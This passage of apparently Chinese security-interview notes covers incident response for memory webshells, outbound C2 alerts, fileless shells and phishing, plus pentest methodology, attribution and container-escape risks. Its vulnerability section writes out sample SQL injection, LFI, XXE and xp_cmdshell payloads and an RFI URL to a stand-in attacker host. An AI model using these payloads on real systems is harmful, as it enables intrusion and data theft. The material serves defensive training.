Webshell):概念: 指不依赖于在服务器磁盘上写入 Webshell 文件(如 .jsp 文件),而是通过 Java 的动态特性(如 Agent, Instrumentation, Servlet API, Spring Controller 动态注册等)将恶意代码(通常是一个能接收命令执行的后门)直接注入到正在运行的 Java 进程(JVM)内存中。优点(对攻击者): 更隐蔽,传统基于文件的 Webshell 检测工具难以发现,重启应用服务器可能会丢失(除非有持久化手段)。分析工具 (Analysis Tools):动态分析/在线诊断工具 (需Attach到目标JVM进程):arthas:阿里巴巴开源的 Java 诊断利器。可以通过命令行实时查看 JVM 信息、类加载情况、方法调用、内存状态等。thread: 查看线程状态,查找可疑线程活动。sc -d <ClassName>: 查看类的详细信息,包括加载它的 ClassLoader。内存马可能由自定义的 ClassLoader 加载。sm <ClassName> <MethodName>: 查看方法的字节码。mc <ClassName> <MethodName>: 反编译方法源码。redefine: 热更新类的字节码(可用于移除恶意代码)。关键命令(排查内存马):通过 MBean 查看 Tomcat/Jetty 等容器注册的 Servlet 和 Filter (mbean javax.servlet.ServletContext 然后查看 attributes)。内存马常通过动态注册 Filter 或 Servlet 实现。在 Spring 环境中,查看动态注册的 Controller, Interceptor。jad <ClassName>: 反编译整个类,寻找可疑逻辑。JDK 自带命令行工具:jps 或 jps -l: 列出 Java 进程及其 PID。jstack <pid>: 查看线程堆栈,分析线程在做什么。jmap -heap <pid>: 查看堆内存概况。jmap -dump:format=b,file=dump.hprof <pid>: 生成堆内存快照 (Heap Dump),用于离线分析。jinfo <pid>: 查看 JVM 参数和系统属性。离线分析工具 (分析 Heap Dump 文件):Eclipse Memory Analyzer Tool (MAT):强大的内存分析工具。可以打开.hprof文件,查找内存泄漏,最重要的是可以检查对象实例。搜索可疑类名(如 Servlet, Filter, ClassLoader, Agent, 常见的 Webshell 关键字如 Shell, Executor, Bypass 等)。查找持有可疑字节数组 (byte[]) 或字符串 (String) 的对象,这些可能包含注入的恶意类或命令。分析 ClassLoader 结构,寻找非标准的 ClassLoader。JProfiler (商业软件): 功能类似 MAT,提供更友好的 UI 和更多分析功能。专门的内存马扫描工具:java-memshell-scanner (by c0ny1)cop.jar (by LandGrey)Hunter (by veine)这些工具通常封装了对常见内存马模式(如动态注册 Filter/Servlet/Listener, Agent 型等)的检测逻辑,可以直接扫描 Heap Dump 文件或 Attach 到运行中的 JVM。流量特征 (Traffic Characteristics):请求 URL 可能不存在对应文件: 内存马通常是通过 Filter 匹配所有请求,或动态注册一个 Servlet/Controller 映射到特定 URL Pattern。因此,访问日志中可能看到请求某个路径(如 /favicon.ico, /api/health, 甚至任意不存在的路径)得到了 200 OK 响应,并且伴随了恶意操作。请求参数/Headers/Body 中包含恶意载荷:可能有特定的密码参数/请求头(如 X-Pass: password)。POST 请求的 Body 中可能包含需要执行的命令、Base64 编码的代码、序列化数据等。GET 请求的参数中也可能带有命令或参数。响应内容异常: 正常请求可能返回了命令执行的结果,或者返回了与预期业务逻辑完全无关的内容。流量加密: 如果通信是 HTTPS,需要有解密能力(如部署了流量解密设备或在服务器端抓包)才能看到明文载荷。行为模式:可能先有一个触发内存马注入的请求(例如利用反序列化漏洞)。后续会有连接到内存马后门 URL 的请求,执行命令、上传/下载文件等。内存马排查处置思路:发现与确认:流量监控/NTA/WAF 告警: 检测到可疑的 Web 请求(如上述流量特征)。EDR 告警: 检测到可疑的 Java 进程行为(如执行命令、加载可疑类、连接恶意 IP)。日志审计: Web 访问日志出现请求不存在文件但成功的记录,或应用日志出现异常。安全扫描工具检测: 专门的内存马扫描工具发现可疑迹象。应急响应 - 抑制:隔离主机(可选但推荐): 防止横向移动或进一步危害。抓取证据:内存快照 (Heap Dump): jmap -dump,这是分析内存马的关键证据。进程信息: jstack, jinfo 等。相关日志: Web 访问日志、应用日志、系统日志。网络流量: 如果有条件,抓取可疑进程的网络流量。应急响应 - 分析排查:在线分析 (Arthas):检查 Filter/Servlet/Listener/Controller/Interceptor 列表,寻找可疑注册项。反编译可疑类的代码 (jad, mc)。查看 JVM 环境属性、线程堆栈。离线分析 (MAT/扫描工具):使用 MAT 或专用扫描工具分析 Heap Dump 文件,查找内存马特征(对象、类、字符串、ClassLoader)。关联分析:结合流量特征、日志记录、内存分析结果,确定内存马的类型(Filter 型、Servlet 型、Agent 型等)、触发方式(漏洞利用、后门等)、通信方式和后门地址/密码。应急响应 - 清除:重启 JVM 进程: 这是最快最直接的清除内存中恶意代码的方法。但是,如果内存马有持久化机制(例如修改了启动脚本、放置了 dropper 文件、利用了漏洞再次注入),重启后可能复现。找到并修复根源:如果是漏洞利用(如反序列化、Log4Shell)导致注入,必须修复漏洞(打补丁、升级组件、WAF 规则)。如果是通过弱口令、管理后台等方式注入,需要修改密码、加固权限。清除持久化: 如果发现有 dropper 文件或其他持久化机制,必须彻底清除。热更新移除(高级): 使用 arthas 的 redefine 命令尝试热更新移除恶意类或方法(有风险,可能导致应用不稳定)。最稳妥方式: 修复漏洞/加固后,从已知的干净源码/部署包重新部署应用。恢复与监控:恢复服务,并加强对该应用的监控(日志、流量、JVM 状态、文件完整性)。观察一段时间,确保内存马没有复现。9. 天眼监测办公网主机外联,应急需从哪些方面入手?场景描述: 公司的网络流量分析平台(NTA),比如启明星辰的天眼,检测到一台办公网电脑有可疑的外联行为(连接恶意 IP/域名、异常协议/端口、疑似 C2 流量等)。应急入手点(这是一个标准的终端应急响应流程,由 NTA 告警触发):告警确认与信息收集 (Alert Validation & Information Gathering):详细阅读天眼告警:告警类型/名称/规则: 天眼判断这是什么威胁?(例如:僵尸网络 C&C 通信、恶意软件下载、远控木马连接、数据窃密通道、扫描探测等)。时间戳: 外联发生的精确时间。源 IP 地址: 办公网主机的 IP。目标 IP 地址/域名: 连接的外部地址。目标端口/协议: 使用什么端口和协议通信?流量大小/会话时长: 传输了多少数据?连接持续了多久?威胁情报: 天眼关联的目标 IP/域名的信誉如何?是否为已知的恶意地址?初步判断: 根据告警信息,初步评估威胁的严重性和类型。定位资产和用户 (Asset & User Identification):IP 地址溯源:查询 DHCP 日志:根据告警中的源 IP 和时间戳,找到对应时间段使用该 IP 的主机的 MAC 地址。查询网络准入控制 (NAC) / 802.1x 日志:根据 IP 或 MAC 地址找到登录用户。查询资产管理系统 (CMDB):根据 IP 或 MAC 地址找到主机名、物理位置、负责人/使用人。获取主机和用户信息: 确定是哪台电脑(主机名)、归属于哪个员工。遏制风险 (Containment): (关键步骤,动作要快)网络隔离:立即断开该主机的网络连接!这是最有效的遏制手段。可以通过以下方式:物理拔网线。在交换机上禁用端口 (shutdown)。将其划分到隔离 VLAN。通过 EDR/NAC 客户端执行隔离策略。目的:阻止恶意软件继续与外部 C2 服务器通信(防止接收指令、发送数据)。防止恶意软件在内网横向扩散。现场/远程排查 (Investigation - Endpoint Focus):与用户沟通(如果适用且安全): 简单询问用户最近是否有异常操作(点击可疑邮件/链接、安装软件、浏览奇怪网站、电脑变慢等)。注意不要惊动潜在的内部恶意行为者。系统快照/内存取证(可选,根据策略): 在进行详细排查前,可以先制作硬盘镜像或抓取内存镜像,供后续深入取证分析,避免排查过程破坏证据。主机内部排查:查找网络连接进程 (Process Identification for Network Activity):Windows: netstat -ano | findstr "<目标IP或端口>" 找到对应的 PID。Linux/macOS: ss -antup | grep "<目标IP或端口>" 或 lsof -i @<目标IP> 找到 PID。分析可疑进程 (Process Analysis):使用任务管理器、Process Explorer (Win) 或 ps aux | grep <PID>, pstree -p <PID> (Linux/Mac) 查看进程名、路径、启动参数、父进程、用户。判断进程是否合法,是否伪装成系统进程,是否位于异常路径。检查文件系统 (File System Analysis):检查进程对应的可执行文件(计算 Hash 上传 VirusTotal/威胁情报平台分析、strings 查看、检查数字签名)。检查进程相关的其他文件(配置文件、日志、临时文件)。检查用户目录(下载、文档、桌面)、临时目录 (%TEMP%, /tmp) 是否有可疑文件。查看最近修改或创建的文件。检查持久化机制 (Persistence Mechanisms):Windows: Autoruns 工具是首选,检查注册表启动项、计划任务、服务、驱动程序、DLL 劫持等。Linux: crontab -l, /etc/cron.*, systemctl list-unit-files --state=enabled, /etc/init.d/, ~/.bashrc 等。macOS: launchctl list, LaunchAgents, LaunchDaemons。检查系统日志 (Log Analysis):Windows Event Logs (System, Security, Application), PowerShell 日志。重点关注进程创建 (4688)、登录事件、错误报告。Linux: /var/log/syslog, /var/log/auth.log 等。macOS: Console.app / log show。安全软件扫描与日志 (Security Software Scan & Logs):运行已安装的杀毒软件或 EDR 进行全盘扫描。查看 EDR/杀软的隔离区和历史检测日志。威胁研判与处置 (Threat Analysis & Eradication):综合判断: 结合天眼告警、主机排查结果,判断威胁的性质(木马、病毒、勒索、挖矿、APT?)、来源(钓鱼邮件、漏洞利用、U盘、恶意网站?)、影响范围(是否已横向移动?数据是否泄露?)。清除威胁:终止恶意进程。删除恶意文件和持久化项。修复被篡改的配置。必要时重装系统: 如果感染严重、无法彻底清除或怀疑有 Rootkit,备份数据后重装系统是最安全的选择。修改密码: 强制用户修改本机密码以及在受感染期间可能登录过的其他系统/应用密码。恢复与监控 (Recovery & Monitoring):系统加固: 确保操作系统和应用软件都打上了最新的安全补丁。恢复网络: 在确认主机干净后,将其重新接入网络。加强监控: 对该主机进行一段时间的重点监控(EDR 策略调优、网络流量监控),确保威胁已被完全清除。总结与改进 (Lessons Learned):记录完整的应急响应过程和发现。分析事件根本原因,是哪个环节出现了问题?改进安全策略(如加强邮件过滤、终端防护、用户培训、补丁管理、网络分段)。评估天眼等监控工具的规则有效性,是否需要调整。10. 渗透思路,包括 cdk 工具漏洞库中漏洞的相关原理?渗透测试思路 (Penetration Testing Methodology):这是一个结构化的过程,模拟真实攻击者可能采取的步骤来发现和利用系统中的安全漏洞。通常遵循以下阶段:前期交互阶段 (Pre-engagement Interactions):明确目标和范围 (Scoping): 与客户沟通,确定测试的目标系统、IP 地址段、域名、应用,以及允许使用的测试手段(例如是否允许 DoS 测试、是否允许社会工程学)。这是最重要的一步,避免越权和法律风险。授权 (Authorization): 获得客户的书面授权。规则制定 (Rules of Engagement): 确定测试时间窗口、紧急联系人、信息报告方式等。情报搜集阶段 (Reconnaissance / Information Gathering):被动信息收集 (Passive Recon):不直接与目标系统交互。利用搜索引擎(Google Hacking Dorks)、社交媒体、招聘网站、新闻报道等收集目标组织信息(人员架构、技术栈、合作伙伴)。查询 DNS 记录 (A, MX, NS, TXT)、WHOIS 信息、ASN 信息。使用 Shodan, Censys, ZoomEye, Fofa 等网络空间搜索引擎查找暴露在公网的资产(IP、端口、服务、设备类型)。搜索 GitHub, GitLab 等代码托管平台查找可能泄露的源代码、配置文件、API 密钥、访问凭证。主动信息收集 (Active Recon):与目标系统进行交互。端口扫描 (Port Scanning): 使用 Nmap 等工具探测目标主机开放的 TCP/UDP 端口。服务识别与版本探测 (Service Enumeration & Version Detection): 识别开放端口上运行的服务及其版本号(如 Web Server: Apache 2.4.x, SSH: OpenSSH 7.x, DB: MySQL 5.x)。操作系统探测 (OS Fingerprinting): 尝试识别目标主机的操作系统类型和版本。Web 应用探测: 目录/文件扫描 (Dirb, Gobuster, ffuf), 技术栈识别 (Wappalyzer), API 端点发现。漏洞扫描 (Vulnerability Scanning): 使用自动化扫描器(如 Nessus, OpenVAS, Nikto, Acunetix, Burp Suite Scanner,或者这里提到的“CDK”工具可能就属于此类)对发现的资产进行初步的漏洞扫描。威胁建模与漏洞分析阶段 (Threat Modeling & Vulnerability Analysis):基于收集到的信息(开放端口、服务版本、Web 应用结构、扫描器结果),分析潜在的攻击路径和脆弱点。手动验证扫描结果: 自动化扫描器可能存在误报,需要人工确认漏洞是否真实存在、是否可被利用。深入分析:针对特定服务或应用进行更细致的分析,例如:Web 应用:检查 OWASP Top 10 漏洞(注入、失效认证、XSS、XXE、不安全的反序列化、配置错误等)。特定服务版本:查询 CVE 数据库 (Mitre CVE, NVD, Exploit-DB) 寻找已公开的漏洞和利用代码 (Exploit)。渗透攻击(利用)阶段 (Exploitation):尝试获取访问权限:利用已确认的漏洞进行攻击。使用 Metasploit Framework 等工具包进行自动化或半自动化利用。手动编写或修改 Exploit 代码。尝试弱口令、默认口令、密码喷洒 (Password Spraying)。利用 SQL 注入获取数据或 Shell。利用 RCE 漏洞执行命令。利用文件包含漏洞读取敏感文件或获取 Shell。利用 XSS 窃取用户 Cookie 或执行恶意脚本。目标: 获得立足点 (Foothold),即在目标系统上获得一个初始的、可能是低权限的访问。后渗透(权限提升与内网渗透)阶段 (Post-Exploitation):权限提升 (Privilege Escalation):如果初始权限较低(如 www-data,普通用户),尝试提升到更高权限(root, Administrator, SYSTEM)。利用内核漏洞 (Kernel Exploits)。利用配置错误(如 SUID/GUID 文件、不安全的 sudo 配置、服务权限配置不当)。利用弱密码或存储在系统中的凭据。信息收集(内部): 收集内网信息(网络拓扑、用户信息、密码 HASH、配置文件、敏感数据)。横向移动 (Lateral Movement):利用已获得的权限和凭据,尝试访问和控制内网中的其他主机或服务器。使用 PsExec, WMI, SSH 等。利用 Pass-the-Hash / Pass-the-Ticket (Windows AD 环境)。利用内网服务漏洞。维持访问 (Persistence): 建立后门或机制,以便在系统重启或被发现后仍能重新获得访问权限(如添加计划任务、服务、后门账户、Webshell)。清除痕迹 (Covering Tracks): (在授权测试中通常有限制或不执行)清除日志、修改文件时间戳等。报告阶段 (Reporting):整理结果: 详细记录所有发现的漏洞、利用过程、获取的权限和数据、潜在的业务风险。编写报告:清晰、准确地向客户展示测试结果,包括:执行摘要 (Executive Summary):面向管理层,概述主要风险。技术细节 (Technical Details):描述漏洞原理、复现步骤、利用代码/截图。风险评估 (Risk Assessment):评估漏洞的严重程度和可能造成的影响。修复建议 (Recommendations):提供具体、可操作的修复方案。“CDK 工具漏洞库中漏洞”的相关原理:由于不确定 "CDK" 具体指哪个工具,这里假设它是一个漏洞扫描与利用工具集(类似 Nessus + Metasploit 的概念)。其漏洞库中的漏洞原理,就是各种常见和已公开的安全漏洞的基本原理:原理举例(同 Q8 中类似,但更侧重于“利用”角度):SQL 注入 (SQLi):原理: Web 应用未对用户输入进行充分过滤或参数化,直接拼接到 SQL 查询语句中,导致用户可以控制 SQL 语句的逻辑。利用: 构造恶意的 SQL 片段,如 ' OR '1'='1 (绕过认证), UNION SELECT user, password FROM users (拖库), '; EXEC xp_cmdshell('net user') (命令执行,某些数据库)。远程代码执行 (RCE) - 如反序列化:原理: 应用反序列化了来自用户的不可信数据流,触发了 classpath 中存在的 "gadget chain",最终执行了任意 Java 代码。利用: 使用 ysoserial 等工具生成针对特定库(如 Commons Collections)的恶意序列化 Payload,通过网络发送给目标应用的脆弱接口。文件包含 (LFI/RFI):原理: 应用允许用户指定要包含的文件路径,但未做严格限制,导致可以包含服务器上的任意文件 (LFI) 或远程服务器上的文件 (RFI)。利用 (LFI): 构造路径如 ../../../../etc/passwd 读取敏感文件。结合文件上传或日志注入等技巧可能 RCE。利用 (RFI): 构造 URL 如 http://attacker.com/evil.txt (需服务器配置允许),让服务器包含并执行远程服务器上的恶意代码。XXE (XML External Entity):原理: XML 解析器配置为允许处理外部实体,攻击者可以通过 DTD (文档类型定义) 引入外部实体来读取本地文件或发起 SSRF。利用: 构造包含恶意 DTD 的 XML 数据,如 <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> ... &xxe; 来读取文件。弱口令/默认口令:原理: 服务(如 SSH, RDP, FTP, 数据库, Web 管理后台)使用了简单、易猜测或出厂默认的用户名和密码。利用: 使用 Hydra, Medusa 等工具,配合字典进行暴力破解或针对性猜测。已知组件漏洞 (N-Day Vulnerability):原理: 目标系统使用的软件(操作系统、Web 服务器、中间件、应用框架、库)存在已公开的 CVE 漏洞,且尚未修复。利用: 在 Exploit-DB, Metasploit 等库中找到对应的漏洞利用模块或脚本,直接运行以获取权限。11. 对溯源的了解?内网外联处理思路,对攻击者溯源?对溯源的了解:溯源(Traceback / Attribution)在网络安全中通常指追踪网络攻击的来源、路径、使用的工具、技术、基础设施,并尽可能确定攻击者身份(个人、组织、国家背景)的过程。它包含不同层面:事件溯源(内部溯源): 这是应急响应的核心部分,目标是在受害者网络内部找到攻击的起点和路径。确定最初的失陷主机(Patient Zero)。分析攻击者如何在内网进行横向移动。找到攻击者使用的恶意软件、工具、脚本和持久化机制。目的: 理解攻击过程,彻底清除威胁,修复漏洞,加固系统,防止再次发生。攻击者基础设施溯源(外部溯源): 这是追踪攻击者在互联网上使用的资源。分析 C2 服务器的 IP 地址、域名。追踪攻击者使用的跳板机、代理服务器。分析恶意软件样本,提取其中硬编码的 C2 地址、配置信息。关联分析:这个 IP/域名还被用在哪些其他攻击活动中?属于哪个已知的恶意基础设施集群?目的: 封禁恶意 IP/域名,了解攻击者的资源范围,为威胁情报提供数据。攻击者身份溯源(归因): 这是最困难的一步,目标是确定谁是幕后黑手。分析攻击者的 TTPs (Tactics, Techniques, Procedures):使用的漏洞、工具、攻击手法是否与已知的 APT 组织或黑产团伙的画像一致?(参考 MITRE ATT&CK 框架)分析恶意软件代码风格、注释、元数据、编译时间戳等线索。结合地缘政治背景、攻击目标行业等进行推测。通过 OSINT(开源情报)查找与攻击者相关的网络身份(ID、邮箱、社交媒体账号等)。目的: 了解对手,预判未来攻击,提供战略级威胁情报。(通常需要国家级资源或大型安全厂商的专业团队才能有效进行)内网外联处理思路(即内部溯源/应急响应):这个思路在之前的 Q1, Q3, Q9 中有涉及,这里总结一下核心流程:检测/告警: 通过防火墙、NTA、EDR 等发现异常外联。信息收集: 获取外联的详细信息(源IP、目标IP/域名、端口、协议、时间、数据量、告警规则)。定位源主机: 根据源 IP 找到内网的具体主机(DHCP 日志、资产管理等)。抑制/遏制: 立即隔离该主机,阻止其继续外联和横向移动。主机排查: 登录主机,查找发起外联的进程、分析恶意文件、检查持久化机制、审查日志。根除: 清除恶意软件、修复漏洞、移除持久化。恢复: 重装系统或从备份恢复,修改密码,重新上线并监控。总结: 分析根本原因,改进防御措施。对攻击者溯源(外部溯源/归因)的思路:这通常发生在内部应急响应之后,利用收集到的信息进行更深入的追踪:收集指标 (Indicators of Compromise - IOCs):恶意 IP 地址、域名、URL。恶意文件的 Hash 值 (MD5, SHA1, SHA256)。攻击中使用的特定工具、恶意软件家族名称。钓鱼邮件的发送者、主题、附件名称。分析恶意基础设施:IP 地址分析:使用 WHOIS 查询注册信息(通常是 ISP 或云服务商)。使用 GeoIP 查看地理位置。使用威胁情报平台(VirusTotal, ThreatBook, 微步在线等)查询信誉、关联的恶意活动/样本/域名。使用被动 DNS (Passive DNS) 数据查询该 IP 历史上解析过哪些域名,现在正在解析哪些域名。判断 IP 类型:是 VPS、独立服务器、家庭宽带、被攻陷的服务器还是 TOR 出口节点?域名分析:WHOIS 查询注册人信息(通常是匿名的或代理注册)。关注注册商、注册时间、过期时间。威胁情报平台查询信誉、关联 IP、子域名。被动 DNS 查询历史解析记录。检查域名是否使用了 CDN 服务隐藏真实 IP。检查 SSL/TLS 证书信息(签发机构、序列号、使用者信息,有时可关联)。分析恶意软件/工具:静态分析:strings、反汇编、反编译,查找硬编码的 C2 地址、配置、特殊标记、代码结构。动态分析(沙箱):观察其网络行为(连接的 C2、下载的后续载荷)、文件操作、注册表操作、持久化方式。代码比对:与已知的恶意软件家族进行代码相似度比对,判断是否为已知组织的变种或新工具。分析 TTPs:将攻击中观察到的手法(如:利用了哪个 CVE 漏洞、使用了什么类型的钓鱼诱饵、如何进行内网移动、使用什么工具进行数据窃取)映射到 MITRE ATT&CK 框架。与威胁情报报告中描述的已知 APT 组织或攻击团伙的 TTPs 进行比对。OSINT 与关联扩展:将在分析过程中发现的任何潜在线索(如攻击者遗留的 ID、邮箱、特殊字符串)在 Google、社交媒体、技术论坛、暗网上进行搜索。利用 Maltego 等工具对收集到的信息进行可视化关联分析,寻找不同 IOC 之间的联系。注意事项:攻击者会使用各种手段隐藏身份(代理、VPN、TOR、跳板机、假信息注册)。攻击者可能故意留下“假旗”(False Flag)信息误导溯源方向。完整的身份归因非常困难,对于多数企业而言,重点应放在追踪和封锁恶意基础设施,理解 TTPs 以改进防御。12. 怎么判断流量是否真实攻击?判断一段网络流量是否为真实攻击,通常需要结合多个维度的信息,而不是单一指标。以下是一些关键的判断依据:威胁情报匹配 (Threat Intelligence Match):流量的源 IP、目标 IP 或域名是否存在于已知的恶意地址库(黑名单)中?流量是否命中了 IDS/IPS/NTA/WAF 等安全设备的特定攻击特征库(签名)?判断: 如果命中高置信度的威胁情报或攻击签名,则为真实攻击的可能性非常高。上下文关联 (Contextual Analysis):来源合理性: 内网的源 IP 是否应该发起这样的连接?(例如,一个从不访问外网的数据库服务器突然连接到一个境外的奇怪 IP)目标合理性: 目标 IP/域名对于源主机来说是否是正常的业务目标?(例如,办公电脑访问色情网站、赌博网站、或者一个从未听说过的文件共享网站)端口/协议异常: 是否使用了非标准端口进行通信(例如用 80 端口传非 HTTP 流量)?是否出现了不常见的协议或者已知被滥用于 C2 的协议(如 DNS Tunneling, ICMP Tunneling)?时间规律: 流量是否发生在非工作时间?是否呈现出周期性的、有规律的心跳特征(常见于 C2 通信)?数据量异常: 是否有异常的大量数据外发(可能的数据泄露)?或者持续的、极小的数据包(可能的 C2 心跳)?载荷分析 (Payload Analysis): (需要有 DPI 能力或解密能力)流量的载荷中是否包含已知的攻击代码(Exploit)、Webshell 特征、恶意脚本、病毒特征码?载荷是否经过了混淆或编码(Base64, Hex 等),解码后是否为恶意指令?是否包含敏感的系统命令或路径信息?行为模式分析 (Behavioral Analysis):流量模式是否符合典型的攻击行为?扫描探测: 大量针对不同端口或主机的连接尝试。漏洞利用: 在短时间内发送特定构造的数据包到某个服务端口。C2 通信: 周期性的、低调的连接到固定或动态变化的 C2 地址。数据外泄: 持续的、大流量的出站连接。横向移动: 内网主机之间出现异常的连接尝试(如 SMB, RDP, SSH 爆破)。与端点活动关联 (Endpoint Correlation):该流量是否与源主机上检测到的恶意进程、可疑脚本执行、用户异常行为(如点击钓鱼链接)相关联?(需要 EDR 或主机日志配合)目的主机是否正好存在该流量试图利用的漏洞?基线对比 (Baseline Comparison):该流量与该主机/用户/网络区域平时的正常流量模式相比,是否存在显著的偏差?(需要有学习和建立基线的能力)误报可能性排除 (False Positive Check):是否是安全扫描器、渗透测试活动产生的流量?是否是某些 P2P 软件、游戏、或特殊业务应用的正常通信被误判?是否是安全设备规则过于宽泛或特征库过时导致的误报?目标 IP 是否为大型云服务商或 CDN 的地址,可能同时托管了正常和恶意内容?总结: 判断真实攻击往往是一个综合分析的过程,需要结合威胁情报、上下文、载荷内容(如果可见)、行为模式、端点信息,并排除误报的可能性。单一维度的异常不一定就是攻击,但多个维度同时指向异常时,真实攻击的可能性就大大增加。13. 如果有安全设备,报有相关的 shell(假设是一个无文件的 shell),应该如何做排查?场景描述: EDR、NTA 或其他安全设备检测到了疑似 Shell 的活动(如反向 Shell 连接、执行了高危命令),但检查文件系统并未发现对应的恶意文件(Webshell、木马程序等)。这通常指向“无文件攻击”或“内存马”。排查思路(重点在于内存、进程、日志和网络):详细分析告警信息:是哪个安全设备报的警?(EDR 的信息通常更丰富,能直接关联进程)告警的具体内容是什么?检测到了哪个命令执行?哪个网络连接?关联的进程是哪个?(例如 powershell.exe, cmd.exe, svchost.exe, javaw.exe, httpd.exe 等)进程路径是什么?告警发生的时间点?涉及的源/目标 IP 和端口?立即遏制:将受影响的主机进行网络隔离,防止进一步的命令执行和横向移动。实时主机排查(关键步骤):深入分析关联进程:父子关系: 使用 Process Explorer (Win), pstree (Linux) 查看该进程的父进程是谁?是如何启动的?是否有可疑的父进程?命令行参数: 查看该进程启动时的完整命令行参数。无文件攻击常常在命令行中包含长串的、经过编码(Base64)或混淆的脚本。网络连接: 使用 netstat -ano (Win), ss -antup (Linux) 确认该进程是否建立了告警中提到的网络连接(反向 Shell?)。加载的模块/DLL: 检查进程加载的动态链接库,是否有非标准或可疑的模块?(Process Explorer 可以看)内存分析(进程级):使用 Process Explorer 或 procdump (Win) dump 该进程的内存。在内存 dump 中搜索可疑字符串(如 "cmd.exe", "/bin/bash", IP 地址, 常见命令, "powershell -enc" 等)。寻找可能被注入的代码段。检查脚本执行痕迹:PowerShell (Win):检查 PowerShell 事件日志(需要开启 Module Logging (ID 4103), Script Block Logging (ID 4104))。Script Block Logging 特别重要,它会记录下执行的脚本块原文,即使经过混淆也能看到解混淆后的代码。检查 PowerShell 历史记录文件 (见 Q2)。WMI (Win): 检查 WMI 事件订阅、消费者,攻击者可能通过 WMI 执行命令或实现持久化。 (Get-WmiObject -Namespace root\Subscription -Class __FilterToConsumerBinding 等命令)Office 宏 (Win): 如果怀疑入口点是 Office 文档,检查是否有可疑的 VBA 宏在运行。检查内存中的其他异常:使用 Get-InjectedThread (PowerShell) 等工具尝试发现进程注入。查找是否存在无文件句柄的进程或线程。利用高级工具进行内存取证(如果实时排查无法确定):获取完整内存镜像: 使用 DumpIt, FTK Imager Lite, Redline 等工具获取整个系统的 RAM 镜像。使用 Volatility / Rekall 进行分析:这是分析内存镜像最强大的工具。pslist / pstree: 查看进程列表和关系。netscan: 查看网络连接记录。cmdscan / consoles: 查找历史命令执行记录。powershell: 分析 PowerShell 活动痕迹。malfind: 查找注入的代码,这是发现无文件恶意代码的关键插件。它会寻找那些不符合正常 PE 结构、权限异常(如 RWX)的内存区域。dlllist / ldrmodules: 查看加载的 DLL,寻找被隐藏或注入的 DLL。memmap: 查看进程内存映射。检查持久化机制:无文件攻击也需要持久化。检查常见的位置:注册表 Run 键、计划任务、WMI 事件订阅、服务等。Autoruns (Win) 工具依然非常有用。日志审计:Windows Event Logs: Security (4688 进程创建 + 命令行,4624/4625 登录),System,Application,PowerShell 日志,Sysmon 日志(如果部署了,提供极有价值的详细信息,如网络连接、进程注入、WMI 活动)。Linux Logs: /var/log/syslog, auth.log, auditd 日志。确定根源:这个无文件 Shell 是如何被触发的?是钓鱼邮件中的宏?是漏洞利用(例如 Web 漏洞触发了命令执行)?是用户点击了恶意 LNK 文件?清除与恢复:终止恶意进程/线程。移除发现的持久化机制。修复入口点漏洞或加固配置。重启可能无效或不彻底: 简单的重启可能可以清除掉某些内存中的代码,但如果存在持久化机制,重启后会再次执行。重装系统通常是推荐的: 对于确认被植入后门(即使是无文件的)的主机,重装系统是最保险的清除方式。14. 诱导(攻击)中在 windows 上,处置需要哪些方面入手?场景描述: 明确是由于社会工程学(诱导)导致一台 Windows 主机失陷。可能是用户点击了钓鱼邮件附件、运行了恶意下载、在假冒网站输入了凭据等。处置入手点(应急响应流程):了解诱导细节(识别):方式确认: 和用户沟通(如果合适),或者通过技术手段(邮件网关日志、浏览器历史、EDR 记录)确认诱导的具体方式。是哪封邮件?哪个网站?哪个文件?具体操作是什么?时间点?影响初步评估: 用户是否运行了程序?是否输入了密码?是否允许了远程访问?电脑出现了什么异常?立即遏制:断开网络: 将受害的 Windows 主机从网络隔离。限制用户权限(如果尚未隔离): 暂时禁用该用户的域账号或 VPN 访问权限(如果怀疑凭据泄露)。凭据安全处置:强制修改密码: 立即要求用户修改该 Windows 主机的登录密码。排查密码复用: 询问用户该密码是否也用于其他系统(邮箱、VPN、内部应用、银行账户等),所有使用相同或相似密码的账户都需要立即修改密码。检查并强制启用 MFA: 确保用户所有关键账户(特别是域账户、邮箱、VPN)都开启了多因素认证。会话注销: 在相关系统后台(如 O365 管理中心、VPN 管理后台)强制注销该用户的所有活动会话/令牌。端点排查与分析:恶意软件分析: 如果用户运行了文件,找到该文件(可能在下载目录、临时目录、邮件附件缓存),获取其 Hash,提交到 VirusTotal 等平台分析,或在沙箱中运行。进程分析: 检查任务管理器、Process Explorer,寻找异常进程(名称、路径、CPU/内存占用、无签名)。网络连接分析: netstat -ano 查看是否有可疑的对外连接(C2 通信、数据外传)。持久化检查: 使用 Autoruns 检查注册表启动项、计划任务、服务等,寻找恶意软件设置的自启动项。文件系统检查: 查找在诱导事件发生时间点前后创建或修改的可疑文件(用户目录、临时目录、系统目录)。日志审计: 查看 Windows 事件日志(Security 4688, Application, System)、PowerShell 日志、浏览器历史和下载记录。杀毒软件/EDR 扫描: 进行全盘扫描,检查隔离区和检测日志。评估横向移动和数据泄露风险:登录活动审计: 检查域控或其他服务器的安全日志,看是否有来自该失陷主机的异常登录尝试(成功或失败),或者使用该用户凭据的异常登录。网络流量审计: 检查防火墙、NTA 日志,看该主机在失陷期间是否有异常的大量数据传出。根除与恢复:清除恶意软件: 终止进程、删除文件、移除持久化项。系统恢复:如果只是凭据泄露,未发现恶意软件运行,修改密码和加固后可能无需重装。如果确认有恶意软件运行过,强烈建议备份用户数据后,格式化硬盘并重装操作系统。这是最彻底的清除方式。数据恢复: 从干净的备份中恢复用户数据。事后改进:用户再教育: 针对此次诱导手法,对该用户及可能的全员进行安全意识再培训。技术加固: 评估是否需要加强邮件过滤规则、Web 访问控制策略、终端 EDR 策略、部署更严格的宏策略等。15. 容器逃逸有哪些点?挂载逃逸原理?容器逃逸有哪几种方式?一个容器在安全设备上,有人操作,有恶意攻击,要怎么排查?容器逃逸的风险点 (Vulnerable Points):容器逃逸指在容器内部执行的进程,突破了由 Namespace、Cgroups、Capabilities 等技术提供的隔离限制,获得了对宿主机或其他容器的访问权限。风险点主要来自:危险的配置 (Misconfigurations):特权容器 (--privileged): 这是最危险的配置。它几乎禁用了所有安全隔离,容器内进程拥有宿主机 root 级别的权限,可以直接访问宿主机设备 (/dev)、加载内核模块等。敏感目录挂载 (Sensitive Host Path Mounts):挂载 Docker Socket (-v /var/run/docker.sock:/var/run/docker.sock): 允许容器内进程通过 socket 与宿主机的 Docker 守护进程通信,从而控制宿主机上的 Docker(创建/删除容器、执行命令等)。挂载宿主机根目录 (-v /:/host): 允许容器直接读写宿主机文件系统。挂载宿主机 /proc (-v /proc:/host_proc 或使用 --pid=host): 